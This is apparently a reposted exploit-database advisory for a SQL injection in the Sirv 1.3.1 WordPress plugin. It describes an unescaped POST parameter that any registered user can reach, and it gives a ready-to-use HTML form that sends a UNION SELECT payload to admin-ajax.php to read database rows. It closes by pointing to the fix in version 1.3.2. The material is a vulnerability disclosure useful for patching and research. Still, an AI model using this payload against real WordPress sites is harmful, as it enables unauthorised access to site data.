Wordpress Sirv 1.3.1 Plugin - SQL Injection Vulnerability

# Exploit Title: Sirv 1.3.1 Plugin For WordPress Sql Injection
# Date: 10/11/2016
# Exploit Author: Lenon Leite
# Vendor Homepage: https://wordpress.org/plugins/sirv/
# Software Link: https://wordpress.org/plugins/sirv/
# Contact: http://twitter.com/lenonleite
# Website: http://lenonleite.com.br/
# Category: webapps
# Version: 1.3.1
# Tested on: Windows 8.1
 
 
1 - Description
 
$_POST[ ‘id’ ] is not escaped. sirv_get_row_by_id() is accessible for every
registered user.
 
http://lenonleite.com.br/en/blog/2016/11/10/sirv-1-3-1-plugin-for-wordpress/
 
2. Proof of Concept
 
Login as regular user.
 
<form method="post" action="http://target/wp-admin/admin-ajax.php">
    <input type="text" name="row_id" value="0 UNION SELECT 1, name,slug, term_group, 6, 7, 8, 9, 10, 11, 12 FROM wp_terms WHERE term_id=1">
    <input type="text" name="action" value="sirv_get_row_by_id">
    <input type="submit" value="Send">
</form>
 
 3. Solution:
 
Update to version 1.3.2
 
-- 
Atenciosamente
 
Lenon Leite

#  0day.today [2018-01-04]  #